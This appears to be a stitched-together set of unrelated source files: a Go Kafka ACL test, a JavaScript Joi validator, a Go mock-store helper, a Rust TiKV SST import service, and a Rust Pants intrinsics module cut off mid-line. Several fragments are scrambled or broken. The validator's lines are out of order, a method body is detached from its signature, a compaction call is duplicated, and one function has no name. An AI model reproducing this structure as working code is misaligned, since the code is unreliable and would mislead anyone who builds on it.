func TestAcls_DeleteAclSuccess(t *testing.T) { mock := MockHttpClient{} mk := MockKafkaClient{} mock.DoRequestFn = func(method string, uri string, reqBody io.Reader) (responseBody []byte, statusCode int, status string, err error) { assert.Equal(t, http.MethodDelete, method, "Expected method 'Delete', got %s", method) assert.Equal(t, "/clusters/cluster-1/acls", uri) return []byte(` { "data": [ { "kind": "KafkaAcl", "metadata": { "self": "http://localhost:9391/v3/clusters/cluster-1/acls?resource_type=TOPIC&resource_name=topic-&pattern_type=PREFIXED&principal=alice&host=*&operation=ALL&permission=ALLOW" }, "cluster_id": "cluster-1", "resource_type": "TOPIC", "resource_name": "topic-", "pattern_type": "PREFIXED", "principal": "alice", "host": "*", "operation": "ALL", "permission": "ALLOW" }, { "kind": "KafkaAcl", "metadata": { "self": "http://localhost:9391/v3/clusters/cluster-1/acls?resource_type=CLUSTER&resource_name=cluster-1&pattern_type=LITERAL&principal=bob&host=*&operation=DESCRIBE&permission=DENY" }, "cluster_id": "cluster-1", "resource_type": "CLUSTER", "resource_name": "cluster-2", "pattern_type": "LITERAL", "principal": "alice", "host": "*", "operation": "DESCRIBE", "permission": "DENY" } ] } `), 200, "200", nil } clusterAdmin, _ := mk.NewSaramaClusterAdmin() c := NewClient(&mock, &mk, clusterAdmin) err := c.DeleteAcl("cluster-1", "") assert.NoError(t, err) }
}
validation.js
const Joi = require("@hapi/joi"); class validations { validateRequest = (req, res, next) => { const rules = Joi.object({ name: Joi.string(), email: Joi.string(), phone: Joi.string(), id: Joi.string(), }); const validationResult = rules.validate(req.body); if (validationResult.error) { res.status(400).send({ message: "missing required name field" });
} module.exports = new validations();
return; } next(); };
einsteindb.go
// Copyright 2020 WHTCORPS INC, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // See the License for the specific language governing permissions and // limitations under the License. package mockstore import ( "github.com/whtcorpsinc/errors" "github.com/whtcorpsinc/milevadb/causetstore/einsteindb" "github.com/whtcorpsinc/milevadb/causetstore/mockstore/mockeinsteindb" "github.com/whtcorpsinc/milevadb/ekv" ) // newMockEinsteinDBStore creates a mocked einsteindb causetstore, the path is the file path to causetstore the data. // If path is an empty string, a memory storage will be created. func newMockEinsteinDBStore(opt *mockOptions) (ekv.CausetStorage, error)
{ client, cluster, FIDelClient, err := mockeinsteindb.NewEinsteinDBAndFIDelClient(opt.path) if err != nil { return nil, errors.Trace(err) } opt.clusterInspector(cluster) return einsteindb.NewTestEinsteinDBStore(client, FIDelClient, opt.clientHijacker, opt.FIDelClientHijacker, opt.txnLocalLatches) }
sst_service.rs
// Copyright 2018 TiKV Project Authors. Licensed under Apache-2.0. use std::f64::INFINITY; use std::sync::Arc; use engine_traits::{name_to_cf, KvEngine, CF_DEFAULT}; use futures::executor::{ThreadPool, ThreadPoolBuilder}; use futures::{TryFutureExt, TryStreamExt}; use grpcio::{ClientStreamingSink, RequestStream, RpcContext, UnarySink}; use kvproto::errorpb; #[cfg(feature = "prost-codec")] use kvproto::import_sstpb::write_request::*; #[cfg(feature = "protobuf-codec")] use kvproto::import_sstpb::WriteRequest_oneof_chunk as Chunk; use kvproto::import_sstpb::*; use kvproto::raft_cmdpb::*; use crate::server::CONFIG_ROCKSDB_GAUGE; use engine_traits::{SstExt, SstWriterBuilder}; use raftstore::router::RaftStoreRouter; use raftstore::store::Callback; use security::{check_common_name, SecurityManager}; use sst_importer::send_rpc_response; use tikv_util::future::create_stream_with_buffer; use tikv_util::future::paired_future_callback; use tikv_util::time::{Instant, Limiter}; use sst_importer::import_mode::*; use sst_importer::metrics::*; use sst_importer::service::*; use sst_importer::{error_inc, Config, Error, SSTImporter}; /// ImportSSTService provides tikv-server with the ability to ingest SST files. /// /// It saves the SST sent from client to a file and then sends a command to /// raftstore to trigger the ingest process. #[derive(Clone)] pub struct ImportSSTService<E, Router> where E: KvEngine, { cfg: Config, router: Router, engine: E, threads: ThreadPool, importer: Arc<SSTImporter>, switcher: ImportModeSwitcher<E>, limiter: Limiter, security_mgr: Arc<SecurityManager>, } impl<E, Router> ImportSSTService<E, Router> where E: KvEngine, Router: RaftStoreRouter<E>, { pub fn new( cfg: Config, router: Router, engine: E, importer: Arc<SSTImporter>, security_mgr: Arc<SecurityManager>, ) -> ImportSSTService<E, Router> { let threads = ThreadPoolBuilder::new() .pool_size(cfg.num_threads) .name_prefix("sst-importer") .after_start(move |_| tikv_alloc::add_thread_memory_accessor()) .before_stop(move |_| tikv_alloc::remove_thread_memory_accessor()) .create() .unwrap(); let switcher = ImportModeSwitcher::new(&cfg, &threads, engine.clone()); ImportSSTService { cfg, router, engine, threads, importer, switcher, limiter: Limiter::new(INFINITY), security_mgr, } } } impl<E, Router> ImportSst for ImportSSTService<E, Router> where E: KvEngine, Router: RaftStoreRouter<E>, { fn switch_mode( &mut self, ctx: RpcContext<'_>, req: SwitchModeRequest, sink: UnarySink<SwitchModeResponse>, )
/// Receive SST from client and save the file for later ingesting. fn upload( &mut self, ctx: RpcContext<'_>, stream: RequestStream<UploadRequest>, sink: ClientStreamingSink<UploadResponse>, ) { if !check_common_name(self.security_mgr.cert_allowed_cn(), &ctx) { return; } let label = "upload"; let timer = Instant::now_coarse(); let import = self.importer.clone(); let (rx, buf_driver) = create_stream_with_buffer(stream, self.cfg.stream_channel_window); let mut rx = rx.map_err(Error::from); let handle_task = async move { let res = async move { let first_chunk = rx.try_next().await?; let meta = match first_chunk { Some(ref chunk) if chunk.has_meta() => chunk.get_meta(), _ => return Err(Error::InvalidChunk), }; let file = import.create(meta)?; let mut file = rx .try_fold(file, |mut file, chunk| async move { let start = Instant::now_coarse(); let data = chunk.get_data(); if data.is_empty() { return Err(Error::InvalidChunk); } file.append(data)?; IMPORT_UPLOAD_CHUNK_BYTES.observe(data.len() as f64); IMPORT_UPLOAD_CHUNK_DURATION.observe(start.elapsed_secs()); Ok(file) }) .await?; file.finish().map(|_| UploadResponse::default()) } .await; send_rpc_response!(res, sink, label, timer); }; self.threads.spawn_ok(buf_driver); self.threads.spawn_ok(handle_task); } /// Downloads the file and performs key-rewrite for later ingesting. fn download( &mut self, ctx: RpcContext<'_>, req: DownloadRequest, sink: UnarySink<DownloadResponse>, ) { if !check_common_name(self.security_mgr.cert_allowed_cn(), &ctx) { return; } let label = "download"; let timer = Instant::now_coarse(); let importer = Arc::clone(&self.importer); let limiter = self.limiter.clone(); let sst_writer = <E as SstExt>::SstWriterBuilder::new() .set_db(&self.engine) .set_cf(name_to_cf(req.get_sst().get_cf_name()).unwrap()) .build(self.importer.get_path(req.get_sst()).to_str().unwrap()) .unwrap(); let handle_task = async move { // FIXME: download() should be an async fn, to allow BR to cancel // a download task. // Unfortunately, this currently can't happen because the S3Storage // is not Send + Sync. See the documentation of S3Storage for reason. let res = importer.download::<E>( req.get_sst(), req.get_storage_backend(), req.get_name(), req.get_rewrite_rule(), limiter, sst_writer, ); let mut resp = DownloadResponse::default(); match res { Ok(range) => match range { Some(r) => resp.set_range(r), None => resp.set_is_empty(true), }, Err(e) => resp.set_error(e.into()), } let resp = Ok(resp); send_rpc_response!(resp, sink, label, timer); }; self.threads.spawn_ok(handle_task); } /// Ingest the file by sending a raft command to raftstore. /// /// If the ingestion fails because the region is not found or the epoch does /// not match, the remaining files will eventually be cleaned up by /// CleanupSSTWorker. fn ingest( &mut self, ctx: RpcContext<'_>, mut req: IngestRequest, sink: UnarySink<IngestResponse>, ) { if !check_common_name(self.security_mgr.cert_allowed_cn(), &ctx) { return; } let label = "ingest"; let timer = Instant::now_coarse(); if self.switcher.get_mode() == SwitchMode::Normal && self .engine .ingest_maybe_slowdown_writes(CF_DEFAULT) .expect("cf") { let err = "too many sst files are ingesting"; let mut server_is_busy_err = errorpb::ServerIsBusy::default(); server_is_busy_err.set_reason(err.to_string()); let mut errorpb = errorpb::Error::default(); errorpb.set_message(err.to_string()); errorpb.set_server_is_busy(server_is_busy_err); let mut resp = IngestResponse::default(); resp.set_error(errorpb); ctx.spawn( sink.success(resp) .unwrap_or_else(|e| warn!("send rpc failed"; "err" => %e)), ); return; } // Make ingest command. let mut ingest = Request::default(); ingest.set_cmd_type(CmdType::IngestSst); ingest.mut_ingest_sst().set_sst(req.take_sst()); let mut context = req.take_context(); let mut header = RaftRequestHeader::default(); header.set_peer(context.take_peer()); header.set_region_id(context.get_region_id()); header.set_region_epoch(context.take_region_epoch()); let mut cmd = RaftCmdRequest::default(); cmd.set_header(header); cmd.mut_requests().push(ingest); let (cb, future) = paired_future_callback(); if let Err(e) = self.router.send_command(cmd, Callback::write(cb)) { let mut resp = IngestResponse::default(); resp.set_error(e.into()); ctx.spawn( sink.success(resp) .unwrap_or_else(|e| warn!("send rpc failed"; "err" => %e)), ); return; } let ctx_task = async move { let res = future.await.map_err(Error::from); let res = match res { Ok(mut res) => { let mut resp = IngestResponse::default(); let mut header = res.response.take_header(); if header.has_error() { resp.set_error(header.take_error()); } Ok(resp) } Err(e) => Err(e), }; send_rpc_response!(res, sink, label, timer); }; ctx.spawn(ctx_task); } fn compact( &mut self, ctx: RpcContext<'_>, req: CompactRequest, sink: UnarySink<CompactResponse>, ) { if !check_common_name(self.security_mgr.cert_allowed_cn(), &ctx) { return; } let label = "compact"; let timer = Instant::now_coarse(); let engine = self.engine.clone(); let handle_task = async move { let (start, end) = if !req.has_range() { (None, None) } else { ( Some(req.get_range().get_start()), Some(req.get_range().get_end()), ) }; let output_level = if req.get_output_level() == -1 { None } else { Some(req.get_output_level()) }; let res = engine.compact_files_in_range(start, end, output_level); match res { Ok(_) => info!( "compact files in range"; "start" => start.map(log_wrappers::Value::key), "end" => end.map(log_wrappers::Value::key), "output_level" => ?output_level, "takes" => ?timer.elapsed() ), Err(ref e) => error!(%e; "compact files in range failed"; "start" => start.map(log_wrappers::Value::key), "end" => end.map(log_wrappers::Value::key), "output_level" => ?output_level, ), } let res = engine.compact_files_in_range(start, end, output_level); match res { Ok(_) => info!( "compact files in range"; "start" => start.map(log_wrappers::Value::key), "end" => end.map(log_wrappers::Value::key), "output_level" => ?output_level, "takes" => ?timer.elapsed() ), Err(ref e) => error!( "compact files in range failed"; "start" => start.map(log_wrappers::Value::key), "end" => end.map(log_wrappers::Value::key), "output_level" => ?output_level, "err" => %e ), } let res = res .map_err(|e| Error::Engine(box_err!(e))) .map(|_| CompactResponse::default()); send_rpc_response!(res, sink, label, timer); }; self.threads.spawn_ok(handle_task); } fn set_download_speed_limit( &mut self, ctx: RpcContext<'_>, req: SetDownloadSpeedLimitRequest, sink: UnarySink<SetDownloadSpeedLimitResponse>, ) { if !check_common_name(self.security_mgr.cert_allowed_cn(), &ctx) { return; } let label = "set_download_speed_limit"; let timer = Instant::now_coarse(); let speed_limit = req.get_speed_limit(); self.limiter.set_speed_limit(if speed_limit > 0 { speed_limit as f64 } else { INFINITY }); let ctx_task = async move { let res = Ok(SetDownloadSpeedLimitResponse::default()); send_rpc_response!(res, sink, label, timer); }; ctx.spawn(ctx_task); } fn write( &mut self, ctx: RpcContext<'_>, stream: RequestStream<WriteRequest>, sink: ClientStreamingSink<WriteResponse>, ) { if !check_common_name(self.security_mgr.cert_allowed_cn(), &ctx) { return; } let label = "write"; let timer = Instant::now_coarse(); let import = self.importer.clone(); let engine = self.engine.clone(); let (rx, buf_driver) = create_stream_with_buffer(stream, self.cfg.stream_channel_window); let mut rx = rx.map_err(Error::from); let handle_task = async move { let res = async move { let first_req = rx.try_next().await?; let meta = match first_req { Some(r) => match r.chunk { Some(Chunk::Meta(m)) => m, _ => return Err(Error::InvalidChunk), }, _ => return Err(Error::InvalidChunk), }; let writer = match import.new_writer::<E>(&engine, meta) { Ok(w) => w, Err(e) => { error!("build writer failed {:?}", e); return Err(Error::InvalidChunk); } }; let writer = rx .try_fold(writer, |mut writer, req| async move { let start = Instant::now_coarse(); let batch = match req.chunk { Some(Chunk::Batch(b)) => b, _ => return Err(Error::InvalidChunk), }; writer.write(batch)?; IMPORT_WRITE_CHUNK_DURATION.observe(start.elapsed_secs()); Ok(writer) }) .await?; writer.finish().map(|metas| { let mut resp = WriteResponse::default(); resp.set_metas(metas.into()); resp }) } .await; send_rpc_response!(res, sink, label, timer); }; self.threads.spawn_ok(buf_driver); self.threads.spawn_ok(handle_task); } }
{ if !check_common_name(self.security_mgr.cert_allowed_cn(), &ctx) { return; } let label = "switch_mode"; let timer = Instant::now_coarse(); let res = { fn mf(cf: &str, name: &str, v: f64) { CONFIG_ROCKSDB_GAUGE.with_label_values(&[cf, name]).set(v); } match req.get_mode() { SwitchMode::Normal => self.switcher.enter_normal_mode(mf), SwitchMode::Import => self.switcher.enter_import_mode(mf), } }; match res { Ok(_) => info!("switch mode"; "mode" => ?req.get_mode()), Err(ref e) => error!(%e; "switch mode failed"; "mode" => ?req.get_mode(),), } let task = async move { let res = Ok(SwitchModeResponse::default()); send_rpc_response!(res, sink, label, timer); }; ctx.spawn(task); }
intrinsics.rs
// Copyright 2021 Pants project contributors (see CONTRIBUTORS.md). // Licensed under the Apache License, Version 2.0 (see LICENSE). use std::collections::BTreeMap; use std::os::unix::fs::symlink; use std::path::{Path, PathBuf}; use std::process::Stdio; use std::time::Duration; use crate::context::Context; use crate::externs; use crate::externs::fs::{PyAddPrefix, PyFileDigest, PyMergeDigests, PyRemovePrefix}; use crate::nodes::{ lift_directory_digest, task_side_effected, DownloadedFile, ExecuteProcess, NodeResult, Paths, RunId, SessionValues, Snapshot, }; use crate::python::{throw, Key, Value}; use crate::tasks::Intrinsic; use crate::types::Types; use crate::Failure; use fs::{ safe_create_dir_all_ioerror, DirectoryDigest, Permissions, RelativePath, EMPTY_DIRECTORY_DIGEST, }; use futures::future::{self, BoxFuture, FutureExt, TryFutureExt}; use hashing::Digest; use indexmap::IndexMap; use process_execution::{CacheName, ManagedChild, NamedCaches}; use pyo3::{PyRef, Python}; use stdio::TryCloneAsFile; use store::{SnapshotOps, SubsetParams}; use tempfile::TempDir; use tokio::process; type IntrinsicFn = Box<dyn Fn(Context, Vec<Value>) -> BoxFuture<'static, NodeResult<Value>> + Send + Sync>; pub struct Intrinsics { intrinsics: IndexMap<Intrinsic, IntrinsicFn>, } impl Intrinsics { pub fn new(types: &Types) -> Intrinsics { let mut intrinsics: IndexMap<Intrinsic, IntrinsicFn> = IndexMap::new(); intrinsics.insert( Intrinsic { product: types.directory_digest, inputs: vec![types.create_digest], }, Box::new(create_digest_to_digest), ); intrinsics.insert( Intrinsic { product: types.directory_digest, inputs: vec![types.path_globs], }, Box::new(path_globs_to_digest), ); intrinsics.insert( Intrinsic { product: types.paths, inputs: vec![types.path_globs], }, Box::new(path_globs_to_paths), ); intrinsics.insert( Intrinsic { product: types.directory_digest, inputs: vec![types.download_file], }, Box::new(download_file_to_digest), ); intrinsics.insert( Intrinsic { product: types.snapshot, inputs: vec![types.directory_digest], }, Box::new(digest_to_snapshot), ); intrinsics.insert( Intrinsic { product: types.digest_contents, inputs: vec![types.directory_digest], }, Box::new(directory_digest_to_digest_contents), ); intrinsics.insert( Intrinsic { product: types.digest_entries, inputs: vec![types.directory_digest], }, Box::new(directory_digest_to_digest_entries), ); intrinsics.insert( Intrinsic { product: types.directory_digest, inputs: vec![types.merge_digests], }, Box::new(merge_digests_request_to_digest), ); intrinsics.insert( Intrinsic { product: types.directory_digest, inputs: vec![types.remove_prefix], }, Box::new(remove_prefix_request_to_digest), ); intrinsics.insert( Intrinsic { product: types.directory_digest, inputs: vec![types.add_prefix], }, Box::new(add_prefix_request_to_digest), ); intrinsics.insert( Intrinsic { product: types.process_result, inputs: vec![types.process], }, Box::new(process_request_to_process_result), ); intrinsics.insert( Intrinsic { product: types.directory_digest, inputs: vec![types.digest_subset], }, Box::new(digest_subset_to_digest), ); intrinsics.insert( Intrinsic { product: types.session_values, inputs: vec![], }, Box::new(session_values), ); intrinsics.insert( Intrinsic { product: types.run_id, inputs: vec![], }, Box::new(run_id), ); intrinsics.insert( Intrinsic { product: types.interactive_process_result, inputs: vec![types.interactive_process], }, Box::new(interactive_process), ); Intrinsics { intrinsics } } pub fn keys(&self) -> impl Iterator<Item = &Intrinsic> { self.intrinsics.keys() } pub async fn run( &self, intrinsic: &Intrinsic, context: Context, args: Vec<Value>, ) -> NodeResult<Value> { let function = self .intrinsics .get(intrinsic) .unwrap_or_else(|| panic!("Unrecognized intrinsic: {:?}", intrinsic)); function(context, args).await } } fn process_request_to_process_result( context: Context, mut args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { async move { let process_request = ExecuteProcess::lift(&context.core.store(), args.pop().unwrap()) .map_err(|e| throw(format!("Error lifting Process: {}", e))) .await?; let result = context.get(process_request).await?.0; let maybe_stdout = context .core .store() .load_file_bytes_with(result.stdout_digest, |bytes: &[u8]| bytes.to_owned()) .await .map_err(throw)?; let maybe_stderr = context .core .store() .load_file_bytes_with(result.stderr_digest, |bytes: &[u8]| bytes.to_owned()) .await .map_err(throw)?; let stdout_bytes = maybe_stdout.ok_or_else(|| { throw(format!( "Bytes from stdout Digest {:?} not found in store", result.stdout_digest )) })?; let stderr_bytes = maybe_stderr.ok_or_else(|| { throw(format!( "Bytes from stderr Digest {:?} not found in store", result.stderr_digest )) })?; let platform_name: String = result.platform.into(); let gil = Python::acquire_gil(); let py = gil.python(); Ok(externs::unsafe_call( py, context.core.types.process_result, &[ externs::store_bytes(py, &stdout_bytes), Snapshot::store_file_digest(py, result.stdout_digest).map_err(throw)?, externs::store_bytes(py, &stderr_bytes), Snapshot::store_file_digest(py, result.stderr_digest).map_err(throw)?, externs::store_i64(py, result.exit_code.into()), Snapshot::store_directory_digest(py, result.output_directory).map_err(throw)?, externs::unsafe_call( py, context.core.types.platform, &[externs::store_utf8(py, &platform_name)], ), externs::unsafe_call( py, context.core.types.process_result_metadata, &[ result .metadata .total_elapsed .map(|d| externs::store_u64(py, Duration::from(d).as_millis() as u64)) .unwrap_or_else(|| Value::from(py.None())), externs::store_utf8(py, result.metadata.source.into()), externs::store_u64(py, result.metadata.source_run_id.0.into()), ], ), ], )) } .boxed() } fn directory_digest_to_digest_contents( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { async move { let digest = Python::with_gil(|py| { let py_digest = (*args[0]).as_ref(py); lift_directory_digest(py_digest) }) .map_err(throw)?; let digest_contents = context .core .store() .contents_for_directory(digest) .await .map_err(throw)?; let gil = Python::acquire_gil(); Snapshot::store_digest_contents(gil.python(), &context, &digest_contents).map_err(throw) } .boxed() } fn directory_digest_to_digest_entries( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { async move { let digest = Python::with_gil(|py| { let py_digest = (*args[0]).as_ref(py); lift_directory_digest(py_digest) }) .map_err(throw)?; let snapshot = context .core .store() .entries_for_directory(digest) .await .and_then(move |digest_entries| { let gil = Python::acquire_gil(); Snapshot::store_digest_entries(gil.python(), &context, &digest_entries) }) .map_err(throw)?; Ok(snapshot) } .boxed() } fn remove_prefix_request_to_digest( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { async move { let (digest, prefix) = Python::with_gil(|py| { let py_remove_prefix = (*args[0]) .as_ref(py) .extract::<PyRef<PyRemovePrefix>>() .map_err(|e| throw(format!("{}", e)))?; let prefix = RelativePath::new(&py_remove_prefix.prefix) .map_err(|e| throw(format!("The `prefix` must be relative: {}", e)))?; let res: NodeResult<_> = Ok((py_remove_prefix.digest.clone(), prefix)); res })?; let digest = context .core .store() .strip_prefix(digest, &prefix) .await .map_err(throw)?; let gil = Python::acquire_gil(); Snapshot::store_directory_digest(gil.python(), digest).map_err(throw) } .boxed() } fn add_prefix_request_to_digest( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { async move { let (digest, prefix) = Python::with_gil(|py| { let py_add_prefix = (*args[0]) .as_ref(py) .extract::<PyRef<PyAddPrefix>>() .map_err(|e| throw(format!("{}", e)))?; let prefix = RelativePath::new(&py_add_prefix.prefix) .map_err(|e| throw(format!("The `prefix` must be relative: {}", e)))?; let res: NodeResult<(DirectoryDigest, RelativePath)> = Ok((py_add_prefix.digest.clone(), prefix)); res })?; let digest = context .core .store() .add_prefix(digest, &prefix) .await .map_err(throw)?; let gil = Python::acquire_gil(); Snapshot::store_directory_digest(gil.python(), digest).map_err(throw) } .boxed() } fn digest_to_snapshot(context: Context, args: Vec<Value>) -> BoxFuture<'static, NodeResult<Value>> { let store = context.core.store(); async move { let digest = Python::with_gil(|py| { let py_digest = (*args[0]).as_ref(py); lift_directory_digest(py_digest) })?; let snapshot = store::Snapshot::from_digest(store, digest).await?; let gil = Python::acquire_gil(); Snapshot::store_snapshot(gil.python(), snapshot) } .map_err(throw) .boxed() } fn merge_digests_request_to_digest( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { let core = context.core; let store = core.store(); async move { let digests = Python::with_gil(|py| { (*args[0]) .as_ref(py) .extract::<PyRef<PyMergeDigests>>() .map(|py_merge_digests| py_merge_digests.0.clone()) .map_err(|e| throw(format!("{}", e))) })?; let digest = store.merge(digests).await.map_err(throw)?; let gil = Python::acquire_gil(); Snapshot::store_directory_digest(gil.python(), digest).map_err(throw) } .boxed() } fn download_file_to_digest( context: Context, mut args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { async move { let key = Key::from_value(args.pop().unwrap()).map_err(Failure::from_py_err)?; let snapshot = context.get(DownloadedFile(key)).await?; let gil = Python::acquire_gil(); Snapshot::store_directory_digest(gil.python(), snapshot.into()).map_err(throw) } .boxed() } fn path_globs_to_digest( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { async move { let path_globs = Python::with_gil(|py| { let py_path_globs = (*args[0]).as_ref(py); Snapshot::lift_path_globs(py_path_globs) }) .map_err(|e| throw(format!("Failed to parse PathGlobs: {}", e)))?; let snapshot = context.get(Snapshot::from_path_globs(path_globs)).await?; let gil = Python::acquire_gil(); Snapshot::store_directory_digest(gil.python(), snapshot.into()).map_err(throw) } .boxed() } fn path_globs_to_paths( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { let core = context.core.clone(); async move { let path_globs = Python::with_gil(|py| { let py_path_globs = (*args[0]).as_ref(py); Snapshot::lift_path_globs(py_path_globs) }) .map_err(|e| throw(format!("Failed to parse PathGlobs: {}", e)))?; let paths = context.get(Paths::from_path_globs(path_globs)).await?; let gil = Python::acquire_gil(); Paths::store_paths(gil.python(), &core, &paths).map_err(throw) } .boxed() } enum CreateDigestItem { FileContent(RelativePath, bytes::Bytes, bool), FileEntry(RelativePath, Digest, bool), Dir(RelativePath), } fn create_digest_to_digest( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { let items: Vec<CreateDigestItem> = { let gil = Python::acquire_gil(); let py = gil.python(); let py_create_digest = (*args[0]).as_ref(py); externs::collect_iterable(py_create_digest) .unwrap() .into_iter() .map(|obj| { let raw_path: String = externs::getattr(obj, "path").unwrap(); let path = RelativePath::new(PathBuf::from(raw_path)).unwrap(); if obj.hasattr("content").unwrap() { let bytes = bytes::Bytes::from(externs::getattr::<Vec<u8>>(obj, "content").unwrap()); let is_executable: bool = externs::getattr(obj, "is_executable").unwrap(); CreateDigestItem::FileContent(path, bytes, is_executable) } else if obj.hasattr("file_digest").unwrap() { let py_file_digest: PyFileDigest = externs::getattr(obj, "file_digest").unwrap(); let is_executable: bool = externs::getattr(obj, "is_executable").unwrap(); CreateDigestItem::FileEntry(path, py_file_digest.0, is_executable) } else { CreateDigestItem::Dir(path) } }) .collect() }; // TODO: Rather than creating independent Digests and then merging them, this should use // `DigestTrie::from_path_stats`. // see https://github.com/pantsbuild/pants/pull/14569#issuecomment-1057286943 let digest_futures: Vec<_> = items .into_iter() .map(|item| { let store = context.core.store(); async move { match item { CreateDigestItem::FileContent(path, bytes, is_executable) => { let digest = store.store_file_bytes(bytes, true).await?; let snapshot = store .snapshot_of_one_file(path, digest, is_executable) .await?; let res: Result<DirectoryDigest, String> = Ok(snapshot.into()); res } CreateDigestItem::FileEntry(path, digest, is_executable) => { let snapshot = store .snapshot_of_one_file(path, digest, is_executable) .await?; let res: Result<_, String> = Ok(snapshot.into()); res } CreateDigestItem::Dir(path) => store .create_empty_dir(&path) .await .map_err(|e| format!("{:?}", e)), } } }) .collect(); let store = context.core.store(); async move { let digests = future::try_join_all(digest_futures).await.map_err(throw)?; let digest = store.merge(digests).await.map_err(throw)?; let gil = Python::acquire_gil(); Snapshot::store_directory_digest(gil.python(), digest).map_err(throw) } .boxed() } fn
( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { let store = context.core.store(); async move { let (path_globs, original_digest) = Python::with_gil(|py| { let py_digest_subset = (*args[0]).as_ref(py); let py_path_globs = externs::getattr(py_digest_subset, "globs").unwrap(); let py_digest = externs::getattr(py_digest_subset, "digest").unwrap(); let res: NodeResult<_> = Ok(( Snapshot::lift_prepared_path_globs(py_path_globs).map_err(throw)?, lift_directory_digest(py_digest).map_err(throw)?, )); res })?; let subset_params = SubsetParams { globs: path_globs }; let digest = store .subset(original_digest, subset_params) .await .map_err(throw)?; let gil = Python::acquire_gil(); Snapshot::store_directory_digest(gil.python(), digest).map_err(throw) } .boxed() } fn session_values(context: Context, _args: Vec<Value>) -> BoxFuture<'static, NodeResult<Value>> { async move { context.get(SessionValues).await }.boxed() } fn run_id(context: Context, _args: Vec<Value>) -> BoxFuture<'static, NodeResult<Value>> { async move { context.get(RunId).await }.boxed() } fn interactive_process( context: Context, args: Vec<Value>, ) -> BoxFuture<'static, NodeResult<Value>> { async move { let types = &context.core.types; let interactive_process_result = types.interactive_process_result; let (argv, run_in_workspace, restartable, input_digest, env, append_only_caches) = Python::with_gil(|py| { let py_interactive_process = (*args[0]).as_ref(py); let argv: Vec<String> = externs::getattr(py_interactive_process, "argv").unwrap(); if argv.is_empty() { return Err("Empty argv list not permitted".to_owned()); } let run_in_workspace: bool = externs::getattr(py_interactive_process, "run_in_workspace").unwrap(); let restartable: bool = externs::getattr(py_interactive_process, "restartable").unwrap(); let py_input_digest = externs::getattr(py_interactive_process, "input_digest").unwrap(); let input_digest = lift_directory_digest(py_input_digest)?; let env: BTreeMap<String, String> = externs::getattr_from_str_frozendict(py_interactive_process, "env"); let append_only_caches = externs::getattr_from_str_frozendict::<&str>(py_interactive_process, "append_only_caches") .into_iter() .map(|(name, dest)| Ok((CacheName::new(name)?, RelativePath::new(dest)?))) .collect::<Result<BTreeMap<_, _>, String>>()?; if !append_only_caches.is_empty() && run_in_workspace { return Err("Local interactive process cannot use append-only caches when run in workspace.".to_owned()); } Ok((argv, run_in_workspace, restartable, input_digest, env, append_only_caches)) })?; let session = context.session; if !restartable { task_side_effected()?; } let maybe_tempdir = if run_in_workspace { None } else { Some(TempDir::new().map_err(|err| format!("Error creating tempdir: {}", err))?) }; if input_digest != *EMPTY_DIRECTORY_DIGEST { if run_in_workspace { return Err( "Local interactive process should not attempt to materialize files when run in workspace.".to_owned().into() ); } let destination = match maybe_tempdir { Some(ref dir) => dir.path().to_path_buf(), None => unreachable!(), }; context .core .store() .materialize_directory(destination, input_digest, Permissions::Writable) .await?; } // TODO: `immutable_input_digests` are not supported for InteractiveProcess, but they would be // materialized here. // see https://github.com/pantsbuild/pants/issues/13852 if !append_only_caches.is_empty() { let named_caches = NamedCaches::new(context.core.named_caches_dir.clone()); let named_cache_symlinks = named_caches .local_paths(&append_only_caches) .collect::<Vec<_>>(); let workdir = match maybe_tempdir { Some(ref dir) => dir.path().to_path_buf(), None => unreachable!(), }; for named_cache_symlink in named_cache_symlinks { safe_create_dir_all_ioerror(&named_cache_symlink.dst).map_err(|err| { format!( "Error making {} for local execution: {:?}", named_cache_symlink.dst.display(), err ) })?; let src = workdir.join(&named_cache_symlink.src); if let Some(dir) = src.parent() { safe_create_dir_all_ioerror(dir).map_err(|err| { format!( "Error making {} for local execution: {:?}", dir.display(), err ) })?; } symlink(&named_cache_symlink.dst, &src).map_err(|err| { format!( "Error linking {} -> {} for local execution: {:?}", src.display(), named_cache_symlink.dst.display(), err ) })?; } } let p = Path::new(&argv[0]); let program_name = match maybe_tempdir { Some(ref tempdir) if p.is_relative() => { let mut buf = PathBuf::new(); buf.push(tempdir); buf.push(p); buf } _ => p.to_path_buf(), }; let mut command = process::Command::new(program_name); for arg in argv[1..].iter() { command.arg(arg); } if let Some(ref tempdir) = maybe_tempdir { command.current_dir(tempdir.path()); } command.env_clear(); command.envs(env); let exit_status = session.clone() .with_console_ui_disabled(async move { // Once any UI is torn down, grab exclusive access to the console. let (term_stdin, term_stdout, term_stderr) = stdio::get_destination().exclusive_start(Box::new(|_| { // A stdio handler that will immediately trigger logging. Err(()) }))?; // NB: Command's stdio methods take ownership of a file-like to use, so we use // `TryCloneAsFile` here to `dup` our thread-local stdio. command .stdin(Stdio::from( term_stdin .try_clone_as_file() .map_err(|e| format!("Couldn't clone stdin: {}", e))?, )) .stdout(Stdio::from( term_stdout .try_clone_as_file() .map_err(|e| format!("Couldn't clone stdout: {}", e))?, )) .stderr(Stdio::from( term_stderr .try_clone_as_file() .map_err(|e| format!("Couldn't clone stderr: {}", e))?, )); let mut subprocess = ManagedChild::spawn(command)?; tokio::select! { _ = session.cancelled() => { // The Session was cancelled: attempt to kill the process group / process, and // then wait for it to exit (to avoid zombies). if let Err(e) = subprocess.graceful_shutdown_sync() { // Failed to kill the PGID: try the non-group form. log::warn!("Failed to kill spawned process group ({}). Will try killing only the top process.\n\ This is unexpected: please file an issue about this problem at \ 